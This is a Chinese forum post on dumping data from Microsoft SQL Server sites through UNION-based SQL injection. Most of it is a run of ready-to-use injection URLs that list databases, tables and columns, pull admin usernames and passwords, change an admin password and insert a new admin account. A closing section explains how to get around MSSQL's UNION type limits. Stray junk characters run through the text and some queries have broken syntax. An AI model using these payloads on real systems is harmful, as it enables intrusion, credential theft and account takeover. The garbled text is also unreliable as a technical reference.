标题: MSSQL用union查询爆数据 [打印本页] 作者: admin 时间: 2012-9-15 14:26 标题: MSSQL用union查询爆数据 爆库: % L; g" h+ U/ ^7 F' Mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.-- $ X/ p- M) F/ }% HSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA. " v/ y7 o" q: d, x! D. @- k: l爆下一个库:3 _" _( k* G. f1 t/ c3 S
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')-- ' d A2 I% V& ]! X6 Q V" {6 o( @& y7 C1 p# A. k2 o; P
爆表: & x% Y# Q6 b" T6 B) ?http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- & W4 C% q5 U" j, A- K5 O # A9 U8 j3 L- \2 j* R: e- m( q) QSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES. 6 Z4 J3 n& \1 {: u6 k 8 S+ N: c/ q3 n1 \7 K: |' V6 n爆下一个表 6 ^& u; ~2 ?$ a0 l8 M9 nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--/ x! S5 v( O1 Y8 x
+ n) T% E K" W) G2 D; Vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--: p; q3 {) ^+ I) P1 j; |* [0 p# r
3 `* k# e3 o8 o( f9 m6 p% V
# N4 k" H1 i$ O , _6 I2 ^9 p% e6 ?. n- _爆字段:0 f |$ J) W+ R, t" s t0 p/ j; ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--2 y6 H; y# Z( o0 q( N) R
2 T: z& D' {; c8 q爆下一个字段' J& I7 n ?6 s6 K3 ]: P
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--$ t9 V z7 N5 f$ W# m1 |/ z$ ], D
4 K& ]6 ]5 N9 U$ e3 hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- % j$ P' ~) k1 j [' k6 C% A7 D4 ] ; y. r+ g' s7 F& V& H1 c9 p $ D3 ]. h: S1 Z% ]9 Y% S2 ~3 h爆字段里的内容, m7 [9 V) U, c9 T w, z, |" Y
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--+ u7 y0 K+ I# N; K
: N; V; ^+ ]) U3 M
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--: D1 E& n) I0 a0 C7 k; r) J
6 i, ^0 {* Y2 ]+ z! R* ?http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- 7 p" A7 H% }+ q$ G, K* D" V7 E" W; _; o: }& S7 ]- y m
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--1 A; d, r5 r& F" n$ h+ l# b2 D
% |2 E& I, S1 |' w, r9 [" m
更新字段里的内容 : K& Q# P- N- |( [% l+ }http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'-- O5 C9 U5 B7 d; q2 A& M- r F. u( J }, n8 W
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)-- \9 _9 D1 q* |+ N
& M3 h$ ~( H/ w: t7 ?2 Y + L. |" q: r/ a/ J. W O 0 o5 I: [5 H( `% d- a# z 在注射的时候，access和mysql环境下，我们通常是通过union来获取数据的。但是遇到mssql环境，union很多时候都行不通，如果页面不报错，openrowset不可用，往往时候就只有暴力了。这样多不好，大家都是文明人，怎么可以用这么野蛮的手段呢？研究了一下，mssql中的union选择主要有以下几个方面的限制。 4 E, N0 I6 R2 S2 W7 r) Q# G 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章，用and 1=2 把union前面的结果集置空就可以解决了。 0 h2 A- g* H9 J0 k" ?; v' s 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候，不能用DISTINCT 方式来选择，而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因，因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式，一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法，union后面跟一个all，即union all就搞定了。真是神奇啊，牛淫就是牛淫。) r$ \/ ^: H5 C6 l* f' {
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容，会报操作数类型冲突的错误，就算用1=2把union前面语句的结果置空也一样。前几天突然想到，union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段，遇到前面有text/ntext的字段当然会出错，如果加上引号呢，即'1’,'2’,'3’……的形式？这时候后面的字段都是char或者varchar的类型了，应该就不会出错了。如果注射点过滤了引号怎么办？因为mssql对16进制格式的支持不是太好，很多地方用16进制必须declare――set，那就用char吧，即and 1=2 union all select char(49),char(50)……的形式。. r) Y& [6 S- Y0 f8 s# x
7 Y+ \) O) g# F% ^3 v3 p/ `* t& _突了了大部份限制的语句& P/ O# ?; J9 |. o8 m0 K
and 1=2 union all select char(49),char(50),null,null;-- , L. M' J3 q$ O. b3 `* J- h$ k2 L8 U9 v* S
4 O9 h& l. Z0 ]: E$ anull也可以正常执行，不过没有回显，不好判断回显的列数。" s+ Y( Z, j' A
一般union遇到问题都是有text或者ntext字段，image的很少遇到1 f; M2 y2 |) B8 A
1 I% x: }9 ~. U1 {* z
可以先null完之后再一个个用1,2,3,4代替，这样就能逼出image类型的列鸟 # Z6 i9 ^. s- ^ B$ ^% i* p ~ * f5 V3 o& F* H% k 4 T1 x! D. t: O& U) {# o+ f